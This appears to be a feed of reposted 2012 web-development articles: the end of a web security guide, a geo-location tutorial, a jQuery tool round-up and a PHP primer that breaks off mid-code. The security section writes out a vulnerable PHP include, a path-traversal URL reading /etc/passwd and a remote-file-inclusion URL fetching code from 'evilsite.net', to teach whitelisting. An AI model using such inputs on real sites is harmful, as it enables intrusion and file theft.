CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets. Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it. CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now. Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
Warn users about flawed entries (password strength, for instance).
Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

JavaScript gives you full access to the document and allows you to post data to the Internet.
You can read cookies and send them elsewhere.
JavaScript is also fully readable by anyone using a browser.
Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

Store sensitive information (e.g. credit card numbers, any real user data).
Store cookies containing session data.
Try to protect content (e.g. right-click scripts, email obfuscation).
Replace your server or save on server traffic without a fallback.
Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
Trust any JavaScript that does not come from your server or a similar trusted source.
Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page. There are two ways to deal with this: whitelisting and proper filtering. Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups. Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php. The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name. The template then normally contains something like this:

`1`	`include($_GET['page']);?>`

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located. It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd or the like would allow an attacker to read your passwd file. If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data. In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

01
02$sites = array(
03  'about'=>'about-us.php',
04  'contact'=>'contact.php',
05  'clients'=>'clients.php',
06  'portfolio'=>'portfolio.php',
07  'home'=>'index.php',
08  'partners'=>'partners.php'
09);
10if( isset($_GET['page']) &&
11    isset($sites[$_GET['page']]) &&
12    file_exists($sites[$_GET['page']]) ){
13      include($sites[$_GET['page']]);
14} else {
15  echo 'This page does not exist on this system.';
16}
17?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit. Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole. Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

1$authenticated = false;
2if($_POST['username'] == 'muppet' &&
3   $_POST['password'] == 'password1') {
4    $authenticated = true;
5}
6if($authenticated) {
7  // do something only admins are allowed to do
8}

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere. Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

01$color = 'white';
02$background = 'black';
03if(isset($_GET['color']) && isvalid($_GET['color'])){
04  $color = $_GET['color'];
05  if(ishexcolor($color)){
06    $color = '#'.$color;
07  }
08}
09if(isset($_GET['background']) && isvalid($_GET['background'])){
10  $background = $_GET['background'];
11  if(ishexcolor($background)){
12    $background = '#'.$background;
13  }
14}
15function isvalid($col){
16  // only allow for values that contain a to z or 0 to 9
17  return preg_match('/^[a-z0-9]+$/',$col);
18}
19function ishexcolor($col){
20  // checks if the string is 3 or 6 characters
21  if(strlen($col)==3 || strlen($col)==6){
22    // checks if the string only contains a to f or 0 to 9
23    return preg_match('/^[a-f0-9]+$/',$col);
24  }
25}

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use. If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code. The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code. Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it. It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did. Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress. That is not really the interesting part of the statistics package or log files, though:

Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
Check the error messages and how many of them were 404 errors (“Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Entering The Wonderful World of Geo Location

2012-01-01T01:09:00.001-08:00

I thought I could not be out-geeked. With a background in radio, and having dabbled in the demo scene on the Commodore 64 and hung out on BBSes and IRC for a long time and all the other things normal kids don’t quite get, I thought I was safe in this area.
Then I went to my first WhereCamp, an unconference dealing with geographical issues and how they relate to the world of Web development. Even my A-Levels in Astronomy did not help me there. I was out-geeked by the people who drive and tweak the things that we now consider normal about geo-location on the Web.
Pulling out your phone, find your location and getting directions to the nearest bar is easy, but a lot of work has gone into making that possible. The good news is that because of that effort, mere geo-mortals like you and me can now create geographically aware products using a few lines of code. So, let’s give the geo-community a big hand.

[Editor's note: A must-have for professional Web designers and developers: The Printed Smashing Books Bundle is full of practical insight for your daily work. Get the bundle right away!]

Why Geo Matters

First of all, why is it important to consider physical location on this planet (at this moment) when we develop Web products? There are a few answers to this.
The first answer is mobility. The days of people sitting in front of desktop machines at home are over. Sales of mobile devices, laptops and netbooks have overtaken those of bulky stationary computers in the last few years. The power of processors now allows us to use smaller, more mobile hardware to perform the same tasks. So, if people use their hardware on the go, we should bring our systems to them. Which brings us to the second—very important—point: relevance.
Giving the user content that is relevant to the physical space they are in at the moment makes a lot of sense. We are creatures of habit. While we love the reach of the Internet, we also want to be able to find things in our local area easily: people to meet, cafes to frequent, interesting buildings and museums to learn about. The advertising industry—especially of the adult and dating variety—realized this years ago. I am sure you have come across one of the following before:

I am sure these ads are more successful than the ones that show only user names. That the photos and names are the same for every location doesn’t seem to be a problem (but yes, I noticed it). So how does it all work?

Getting The User’s Location Via IP

Every computer on a network has a number that identifies it: its IP address. The Internet is nothing but a massive network, and your IP number is assigned to you by the service provider that you have used to connect to that network. Because the numbers that service providers assign change from one geographical location to the next (much like telephone numbers), you can make quite a good estimate of where your visitors are from.
To find out where a certain phone number is from, you use a phone book. To find out where an IP is from, you can use the Maxmind GeoIP database. Maxmind also provides a JavaScript solution that you can use on websites:

01
02

This gives you some information on the user (try it out for yourself). The challenge, though, is relevance. Your IP location is the location of the IP that your provider has assigned to you. Depending on your provider, this could be quite a ways off (in my case, I live in London, but my provider used to show me as living in Rochester). Another problem is if you work for a company that uses a VPN. At Yahoo, for example, I have to connect to the VPN to read my company email, and I have to choose a location to connect to:

So, for a solution like the one highlighted above, I would show up as being in a totally different part of the world (which might be useful for watching Internet TV in the UK while I am in the US). IP geo-location, then, is an approximation, not a dead-on science.

Getting The User’s Location Via The W3C Geo API

Guessing geographical location via IP is possible, but it can also be pretty creepy. Being able to take advantage of your location is useful, but security-conscious users and people who are generally suspicious of the Internet are not happy with the idea of their movements being monitored by a computer. This makes sense: if I can monitor your whereabouts day and night, I would know where and when to rob your house without you being there.
There are a lot of solutions to the challenge of having good-quality geo-location and maintaining privacy. Google Gears has a geo-location service; Plazes helps you store your location; and Yahoo’s Fire Eagle is probably the most polished way to securely maintain your location on the Web.
The problem with all of these services is that they require the user to either install a plug-in or visit a Web service to update their location. This is not fun; browsers should do the work for you.
We now have a W3C recommendation for a geo-location API that allows browsers to request the geographical location of the user. This makes it less creepy, and you get real data back.
Firefox 3.5 and above supports the W3C geo-location API. So does Safari on the iPhone if you run OS 3.0 or above. If you use the API, the browser will ask the user whether they want to share their location with your website.

Once the user allows you to get their location, you get much more detailed latitude and longitude values. Using the API is very easy:

01// if the browser supports the w3c geo api
02if(navigator.geolocation){
03  // get the current position
04  navigator.geolocation.getCurrentPosition(
05 
06  // if this was successful, get the latitude and longitude
07  function(position){
08    var lat = position.coords.latitude;
09    var lon = position.coords.longitude;
10  },
11  // if there was an error
12  function(error){
13    alert('ouch');
14  });
15}

Compare the IP and W3C solutions side by side. As you can see, there can be quite a difference in measuring the visitor’s location. The extent of the difference is shown in the following demo:

Converting Latitude And Longitude Back Into A Name

Having more information is nice, but we have lost the name of the city and all the other nice data that came with the Maxmind database. Because the location has changed, we cannot just grab that old data; we have to find a way to convert latitude and longitude coordinates into a name. This process is called “reverse geo-coding,” and several services on the Web allow you to do it. Probably the most well-known is the geo-names Web service, but it has a few issues. For starters, the results are very US-centric.
One freely available but lesser-known reverse geo-coder that works worldwide comes from a surprising source: Flickr. The flickr.places.findByLatLon service returns a location from a latitude and longitude coordinates. You can try it out in the app explorer, but by far the easiest way to use it is by using the Yahoo Query Language (or YQL). YQL deserves its own article, but let’s just say that, instead of having to authenticate with the Flickr API and read the docs, reverse geo-coding becomes as easy as this:

`1`	`select * from flickr.places where lat=37.416115 and lon=-122.0245671`

Using the YQL Web service, you can get the result back as XML or JSON. So, to use the service in JavaScript, all you need is the following:

01

Combine that with the other services, and we get a more detailed result and can put a name to the coordinates:

The Trouble With Latitude And Longitude

While latitude and longitude coordinates are a good way to describe a location on Earth, it is also ambiguous. The coordinates could represent either the centre of a city or a point of interest (such as a museum or a pub) in that spot.

WOEID to the Rescue

To work around the problem, Yahoo and Flickr (and soon will Twitter) support another way to pinpoint a location. The Where On Earth Identifier (or WOEID) is a more granular way to describe locations on Earth. Because Flickr supports it, we can easily get get photos from a particular area:

1select * from flickr.photos.search where woe_id in (
2  select place.woeid from flickr.places where lat=37.416115 and lon=-122.02456
3)

Using this and a few lines of JavaScript, showing geo-located photos is pretty easy:

This has also been wrapped in a simple-to-use YQL solution. The following code will display 10 photos of Paris:

01<script>
02  function photos(o){
03    var container = document.getElementById('photos');
04    container.innerHTML = o.results;
05  }
06script>
07<script src="http://query.yahooapis.com/v1/public/yql?q=
08select%20*%20from%20flickr.photolist%20where%20location%3D%22paris%2Cfrstrong>
09%22%20and%20text%3D%22%22%20and%20amount%3D<strong>10strong>&format=xml&
10env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys&callback=<strong>photosstrong>">

You can also play with this in the YQL console.

Why Not Search For The Location’s Name?

The main question about implementations such as the one above is why couldn’t we just do a search on Flickr for the city, instead of doing all the complex geo-lookups? The reason is false positives. Take Paris, for example: if you want to show photos of Paris on a travel website, you don’t want Paris Hilton to show up in there. Same goes for Jack London. You may also want to show photos of London, England, not London, Ontario. Geographic data is full of these kinds of gotchas, and the term for finding the right one is “disambiguation.” See the Wikipedia article on “Victoria” to see just how many geographical contexts this term can have.

Turning Text Into Geo-Data

Finding a visitor’s geographic location is all well and good, but it doesn’t mean much if you can’t link it to information for that area. This is where it gets tricky. For Flickr (and soon Twitter), this is easy, because both services are able to attach geographical locations to the content you put in them. This is not so for most of the information on the Web, though, and this is when we resort to clever algorithms, machine-learning, pattern-matching and all the other think-tank stuff that computers and the scientists in front of them do.
Say you want to identify the geographical locations that a particular text or Web page talks about. Yahoo offers a service for that called Placemaker, and it is pretty easy to use. You need to get a developer key and send this as appid, send a text as documentContent, define the type of the text as documentType and define the type of data you want back as outputType. All of this needs to be sent as a POST to http://wherein.yahooapis.com/v1/document:

1<form action="http://wherein.yahooapis.com/v1/documentstrong>" method="post">
2  <textarea id="text" name="documentContent">Hi there, I am Chris.
3    I live in London, I am currently in Sunnyvale and will soon be in
4    Atlanta and Las Vegas.textarea>
5  <div><input type="submit" name="sub" value="get locations">div>
6  <input type="hidden" name="appid" value="{YOUR_APP_ID}strong>">
7  <input type="hidden" name="documentType" value="text/plain">
8  <input type="hidden" name="outputType" value="xml">
9form>

You can try this out yourself. Using PHP to call the API instead of a simple form, you can even format the output nicely. See it in action here:

While developers who have played around with Web services won’t find Placemaker hard to use, the service can be daunting for the average developer. That is why I built GeoMaker some time ago. GeoMaker allows you to enter a text or URL, select the locations you want to include in the final outcome, and get the locations either as a map to copy and paste or as micro-formats.

However, because there is also a YQL solution for using PlaceMaker in JavaScript, we can do the same with a few lines of client-side code to enhance an HTML document. Check out the following example:

To use this, you need three things: a text with geographical locations in them in an element with an ID, a Google Maps API key (which you can get here) and the following few lines of code:

1<script src="http://github.com/codepo8/geotoys/raw/master/addmap.js">script>
2<script>
3addmap.config.mapkey = 'COPY YOUR API KEY HERE';
4addmap.analyse('content');
5script>

This makes it incredibly easy to give your visitors a sense of what part of the world a text is related to.

Adding Maps To Your Documents

Online maps have been around for a while now (and Google Maps was instrumental in the rise of AJAX), and many providers out there allow you to add maps to your documents. Google is probably the leader, but Yahoo also has maps, as does Microsoft and many more. There is even a fully open map service called Open Street Maps, which has been instrumental in the recent rescue efforts in Haiti.
If you want interactive maps, probably the easiest thing to use is Mapstraction, which is a JavaScript library that does away with the discrepancies between the various map providers and gives you a single interface for all of them. 24ways published a good introduction to it three years ago.
Probably the simplest way to show a map that supports markers and paths in your document without having to dive into JavaScript is the Google static maps API. It creates maps as images, and all you need to do is provide the map information in the src URI of the image. For example, in the script example above, this would be:

1http://maps.google.com/maps/api/staticmap?
2sensor=false
3&size=200x200
4&maptype=roadmap
5&key=YOUR_MAP_KEY
6&markers=color:blue|label:1|37.4447,-122.161
7&markers=color:blue|label:2|37.3385,-121.886
8&markers=color:blue|label:3|37.3716,-122.038
9&markers=color:blue|label:4|37.7792,-122.42

You can define the size and type of the map. If all you provide is the location of markers, the API will automatically find the right zoom level and area to ensure that all markers are visible. Google’s website even offers a detailed tool to create static maps, including markers and paths.

Geo Is A Space To Watch

I hope this has given you some insight into all of the things you can do to bring the earth to your product and to put your product on the map. Geo-location and geo-aware services are already huge, and they’ll be even more important this year. There will be more services—some mobile providers are ready to roll out new hardware and software—and now you can be a part of it.
What the geo-world needs now is a designer’s eye, and this is where you can help the geo-geeks create apps that matter, that look great and that make a difference in our visitors’ lives. For inspiration, check out Mapumental, which allows you to pinpoint a place to live in London, or see how Google Earth and some 3-D Objects allow you to race a milk truck on real map data.

45 Fresh Useful JavaScript and jQuery Techniques and Tools

2012-01-01T01:06:00.001-08:00

Yes, this is another round-up of fresh and useful Javascript techniques, tools and resources. But don’t close the tab yet, as you might find this one very useful. In this selection we present calendars, forms, buttons, navigation, debugging, optimization and compatibility tables as well as handy resources and tools. We also cover various jQuery-plugins that will help you extend the functionality of your website and improve user experience with ready components or coding solutions.
The last section also covers a number of useful educational resources such as a compilation of useful JavaScript coding practices, a detailed comparison of JavaScript frameworks and general JavaScript programming conventions. We are looking forward to your feedback.
You may be interested in the following related posts:

[Editor's note: A must-have for professional Web designers and developers: The Printed Smashing Books Bundle is full of practical insight for your daily work. Get the bundle right away!]

Calendars and Timelines

jDigiClock – Digital Clock (HTC Hero inspired)
jDigiClock is a jQuery plugin inspired from HTC Hero Clock Widget.

jQuery Sliding Clock v1.1
jQuery transpearant Slider clock with CSS sprites.

Date / Time Picker
Note that this control is not designed to work in IE6; although it will function correctly in most cases, the positioning of the calendar may be way off depending on how your page is styled.

JavaScript Debugging and Validation Tools

Venkman JavaScript Debugger project page
Venkman is the code name for Mozilla’s JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Gecko-based browsers namely Firefox 3.x, the Netscape 7.x series of browsers, Netscape 9.x series, Mozilla Seamonkey 1.x and Mozilla Seamonkey 2.x. It does not include Gecko-based browsers such as K-Meleon 1.x, Galeon 2.x and Netscape 8.x. The debugger is available as an add-on package in XPI format. Venkman JavaScript Debugger has been provided as part of the Mozilla install distribution since October 3rd 2001.

CompanionJS
Companion.JS (pronounced Companion dot JS or CJS) is a Javascript debugger for IE.

How to Test your JavaScript Code with QUnit
QUnit is a powerful JavaScript unit testing framework that helps you to debug code. It’s written by members of the jQuery team, and is the official test suite for jQuery. But QUnit is general enough to test any regular JavaScript code, and it’s even able to test server-side JavaScript via some JavaScript engine like Rhino or V8.

JS Bin – Collaborative JavaScript Debugging
JS Bin is an open source collaborative JavaScript debugging tool.

Forms, Buttons & Navigation

Making a Google Wave History Slider
Here is shown how to create a Google Wave-like history slider. Using it will enable visitors to go back and forth in time to view the changes that take place on a comment thread.

Fancy Radio Buttons With jQuery
Creation of 2 mandatory option sets that a user could choose, while hiding off the radio button inputs and using an anchor links to make it a bit more usable.

Creative Button Animations with Sprites and JQuery
Fading hover effect for which the transition is smoothed with JavaScript, using jQuery library.

Password (un)Masking
JavaScript jQuery that toggles the masking and unmasking of the password field.

jQuery MagicLine Navigation
These “sliding” style navigation bars have been around a while, and turns out it’s really pretty darn easy. Here are put two examples together.

Fixed Fade Out Menu: A CSS and jQuery Tutorial
The aim is to have a fixed navigation that follows the user when he scrolls, and only subtly showing itself by fading out and becoming almost transparent. When the user hovers over it, the menu then becomes opaque again. Inside of the navigation we will have some links, a search input and a top and bottom button that let the user navigate to the top or the bottom of the page.

jQuery plugin: Simplest Twitter-like dynamic character count for textareas and input fields
The best way to explain what this plugin does is to mention Twitter. Twitter posts are limited to 140 characters. While typing the Twitter post there is this always present information about how many characters the users have before reaching the limit. The information is not only provided merely by displaying a number, there are different colors applied to certain stages to notify the user about the status.
Sliding Labels v2
Form label keeping the label inline, but sliding it off to the left rather than going away on click.

Ketchup Plugin
Ketchup is a slim jQuery Plugin that validates your forms. It aims to be very flexible and extendable for its appearance and functionality.

Layout tools

jQuery {css}designerGrid Plugin
{css} designerGrid is A jQuery Plugin developed for website interface developers who use the grid system of layout. {css} designerGrid is intended to assist these developers with CSS prototyping.

css-template-layout
JavaScript (jQuery) implementation of the CSS Template Layout Module

How to create a fluid grid with jQuery
Grid-based layout is probably the more preferred way to style up a webpage to give it more magazine-like look and feel. This tutorial is about how to use CSS and Javascript to create a fluid grid-based layout (See demo here). The algorithm/procedure used in this tutorial is very simple and straightforward. There are more advanced algorithms out there which can handle multiple scenarios. But the purpose is to understand the basic logic on how to create such layout. So here it goes…

closure-templates
Closure Templates are a client- and server-side templating system that helps you dynamically build reusable HTML and UI elements. They are easy to learn and customizable to fit your application’s needs. Closure Templates support JavaScript and Java and use a data model and expression syntax that works for either language. You can also use the built-in message support to easily localize your applications.

Useful jQuery Plugins

TipTip jQuery Plugin
TipTip detects the edges of the browser window and will make sure the tooltip stays within the current window size. As a result the tooltip will adjust itself to be displayed above, below, to the left or to the right of the element with TipTip applied to it, depending on what is necessary to stay within the browser window. TipTip is a very lightweight and intelligent custom tooltip jQuery plugin. It uses ZERO images and is completely customizable via CSS. It’s also only 3.5kb minified!

jQuery Roundabout
Roundabout is a jQuery plugin that converts a structure of static HTML elements into a highly customizable turntable-like interactive area. (And now, not just turntables, but many shapes!)

jParse – jQuery XML Parse Plugin
jParse is a jQuery plugin that allows you to parse XML that was fetched with the jQuery .ajax method (making it fully customizable).

jQuery Quicksand plugin
Reorder and filter items with a nice shuffling animation.

typeQuery, change website typography with jquery
typeQuery gives the flexibility to change the font-family for everything you define with class, id, or tag, this example is referring to the selected item on a select object with id=”tag” and the font-family value at select object with id=”family”: $($("#tag").val()).css("font-family", $("#family").val());

Flip! A jQuery plugin v0.9.9
Flip is a jQuery plugin that will flip easily your elements in four directions.

Data Encryption With JavaScript: jCryption
jCryption is a jQuery plugin for encrypting POST/GET data submitted by forms. It uses public-key algorithm of RSA for the encryption & has a PHP file for handling the decryption of data.

Minimalist jQuery: 11 useful plugins under 4K
jQuery makes our lives easier. So much so that it’s tempting to use it all the time, inadvertently slowing our page load times (cue YSlow and Hammerhead). Combining, compressing, and delivering scripts at the end of your page helps in the HTTP request department. On the file size front, below are jQuery plugins that give solid bang for your performance buck.

Undo/Redo in jQuery
An easy-to-use plugin for adding undo/redo capabilities to a jQuery application. It is based loosely on the Objective-C/Cocoa way of doing things.

editease
editEase – jQuery CMS | no fuss, no database, no worries

jsHub
jsHub is a single piece of JavaScript (a “tag”) that can handle reading different sorts of page information and then send them to many different vendors’ products. One piece of code to send to Google Analytics, Omniture SiteCatalyst, WebTrends and Mixpanel. Instead of one piece of JavaScript per vendor, jsHub has a single piece of code (the “hub”) and plugins that know how to translate into the required wire protocol for each vendor. Vendors only maintain the plugin for their product.

Educational JavaScript Resources and Tutorials

Caffeinated Simpleton
JavaScript is an amazing little language, but it’s got some quirks that turn a lot of people off. One of those quirks is this, and how it’s not necessarily what you expect it to be. this isn’t that complicated, but there are very few explanations of how it works on the internet. This article is an attempt to explain how this works and how to use it properly.

What You Need To Know About JavaScript Scope
This article discusses how JavaScript handles scope and how various JavaScript libraries provide methods for dealing with it and how they smooth out a few bumps. We’ll also look at how you can get back to basics and do some interesting scope wrangling without a library, a useful approach if you’re writing code that needs to stand alone.

Learning Advanced JavaScript
A very nice tutorial to learn JavaScript, containing code and discussion from the upcoming book Secrets of the JavaScript Ninja by John Resig.

Highlight search terms automagically with JavaScript and mark
Script surrounding the search term(s) with the mark element rather than a span, although the class searchword is retained in case you want to style these marks differently from others. In the CSS, the rule article mark is just added to turn it a gentle shade of pink.
10 Really Helpful Traversing Functions in jQuery
With jQuery, selecting HTML elements is laughably easy. But at times, we may wish to further refine the selection, which can be a hassle when the HTML structure is complicated. In this tutorial, we’ll explore ten ways that we can refine and extend a set of wrapped elements that we wish to operate upon.

Using keyboard shortcuts in Javascript
If you want to enhance your web app, Javascript keyboards shortcuts is definitely something to consider. In this article, you’ll learn to use JS keyboard shortcuts, with and without the JQuery framework.

Code Conventions for the JavaScript Programming Language
This is a set of coding conventions and rules for use in JavaScript programming.

jQuery – Select element cheat sheet
This cheat sheet helps you to find the index of a selected option, set the selected option by value, set the selected option by text, insert a new option before or after another and get the text or value of the selected option.

Compare JavaScript frameworks
Modern Web sites and Web applications tend to rely quite heavily on client-side JavaScript to provide rich interactivity, particularly through the advent of asynchronous HTTP requests that do not require page refreshes to return data or responses from a server-side script or database system. In this article, you will discover how JavaScript frameworks make it easier and faster to create highly interactive and responsive Web sites and Web applications.

Park your Horse, Code Cowboy: Professional JavaScript Workflows, Part 1
In this series, we’ll talk about tools & techniques you can use to cover those No’s, and cut a lot of strife & embarrassment from your JavaScript experience.

JavaScript Reference examples (example source code)
JavaScript Reference examples, organized by Objects, Properties, Methods & Collections. Some Event Handlers Reference are also available.

JavaScript best practices
A compilation of best practices and good advice I’ve amassed over the years, much of it learnt the hard way (experimentation and suchlike). Take the advice below to heart and keep it in a part of your brain that has a quick access route so you can apply it without thinking about it. I am sure you will find things to disagree with, and that is a good thing – you should question what you read, and strive to find better solutions. However, I have found that following these principles has made me a more effective developer and allowed other developers to build upon my work more easily.

wtfjs
JavaScript is a language we love despite it giving us so much to hate. This is a collection of those very special irregularities, inconstancies and just plain painfully unintuitive moments for the language of the web.

PHP: What You Need To Know To Play With The Web

2012-01-01T01:05:00.001-08:00

In this article, I’ll introduce you to the fundamentals of PHP. We’ll focus on using PHP to access Web services and on turning static HTML pages into dynamic ones by retrieving data from the Web and by showing different content depending on what the user has entered in a form or requested in the URL.
You won’t come out a professional PHP developer, but you’ll be well on your way to building a small page that uses Web services. You can find a lot of great PHP info on the Web, and most of the time you will end up on PHP.net itself. But I was asked repeatedly on several hack days and competitions to write this quick introduction article, so here it is.

[Editor's note: A must-have for professional Web designers and developers: The Printed Smashing Books Bundle is full of practical insight for your daily work. Get the bundle right away!]

What Is PHP?

PHP is a server-side language that has become a massive success for three reasons:

It is a very easy and forgiving language. Variables can be anything, and you can create them anytime you want.
It is part of the free LAMP stack (Linux, Apache, MySQL, PHP) and thus available on almost any server you can rent on the Web.
It does not need a special editor, environment or build process. All you do is create a file of the .php file type, mix PHP and HTML and then put it on your server for rendering.

Installing PHP Locally, And Your First Code

To run PHP locally on your computer, you’ll need a local server with PHP enabled. The easiest way to do this is to download and install MAMP for OS X or XAMPP for Windows. Once you’ve installed any of these packages, you can start using PHP. Simply create a file named index.php in the htdocs folder of your MAMP or XAMPP installation.
In this file, type (or copy and paste) the following:

1
2  $myname = 'Chris';
3  echo 'This is PHP

';
4  echo "My name is $myname

"
5  echo 'My name in another notation is still  '.$myname.'

';
6?>

If you open this file in a browser by accessing your XAMPP or MAMP installation (via http://localhost/index.php or http://localhost:8888/index.php), you should see the following:

1This is PHP
2My name is Chris
3My name in another notation is still Chris

But you won’t see that. The problem is that the third line does not end in a semicolon (;). This is an error. Depending on your PHP installation, you’ll get either an error message or simply nothing. If you get nothing, then find the file named php_error.log on your hard drive, and open it. It will tell you what went wrong.

The first thing to remember, then, is that every line of PHP has to end in a semicolon. If we fix this problem, we get this result:

1
2  $myname = 'Chris';
3  echo 'This is PHP

';
4  echo "My name is $myname

";
5  echo 'My name in another notation is still  '.$myname.'

';
6?>

We can see here the first few important features of PHP:

PHP blocks start with and end with ?>. Anything between these two commands is interpreted as being PHP and returned to the document as HTML.
Every line of PHP has to end with a semicolon (;), or else it is an error.
Variables in PHP start with a $, not with the var keyword as you do in JavaScript (this is where it gets confusing with jQuery and Prototype).
You print content to the document in PHP with the echo command. There is also a print command, which does almost the same, so you can use that, too.
In this example, we have defined a string named myname as “Chris”. To print it with the echo command surrounded by other text, you need to either embed the variable name in a text with quotation marks or concatenate the string with a full stop when you use single quotation marks. This is line 3 and 4: they do the same thing but demonstrate the different syntax. Concatenation is always achieved with a full stop, never with a + as you do in JavaScript.

 You can jump in and out of PHP anywhere in the document. Thus, interspersing PHP with HTML blocks is totally fine. For example:

01
02  $origin = 'Outer Space';
03  $planet = 'Earth';
04  $plan = 9;
05  $sceneryType = "awful";
06?>
07

Synopsis
08
09It was a peaceful time on planet echo $planet;?>
10and people in the echo $sceneryType;?> scenery were unaware
11of the diabolical plan echo $plan;?> from echo $origin;?>
12that was about to take their senses to the edge of what could be endured.

This outputs the following:



Are you with me so far? To show something on the screen, particularly numbers or a string, we use echo. To show more complex structures, we need loops or specialized debugging methods.

Displaying More Complex Data Types
You can define arrays in PHP using the array() method:


1 $lampstack = array('Linux','Apache','MySQL','PHP');
If you simply want to display a complex data type like this in PHP for debugging, you can use the print_r() command:


1 $lampstack = array('Linux','Apache','MySQL','PHP');

2 print_r($lampstack);
This gives you all the information, but it doesn’t help you structure it as HTML:



For this, you need to access the elements with the array counter. In PHP this is done with the [] brackets:


1 



2 

3 $lampstack = array('Linux','Apache','MySQL','PHP');

4 echo '



Operating System:'.$lampstack[0] . '




';

5 echo '



Server:' . $lampstack[1] . '




';

6 echo '



Database:' . $lampstack[2] . '




';

7 echo '



Language:' . $lampstack[3] . '




';

8 ?>

9 
See this demo in action.

This is, of course, stupid programming because it is not flexible. If  a computer is able to the dirty work for you, make it do it. In this  case, we can define two arrays and use a loop:


01 



02 

03 $lampstack = array('Linux','Apache','MySQL','PHP');

04 $labels = array('Operating System','Server','Database','Language');

05 $length = sizeof($lampstack);

06 for( $i = 0;$i < $length;$i++ ){

07   echo '



' . $labels[$i] . ':' . $lampstack[$i] . '




';

08 }

09 ?>

10 
The for loop works the same as it does in JavaScript. The only difference is that you read the size of an array not with array.length but with sizeof($array).

Again, this example is not very clever because it assumes that both the $lampstack and the $labels array are of the same length and in the same order. Instead of using this, I’d use an associated array:


01 



02 

03 $lampstack = array(

04   'Operating System' => 'Linux',

05   'Server' => 'Apache',

06   'Database' => 'MySQL',

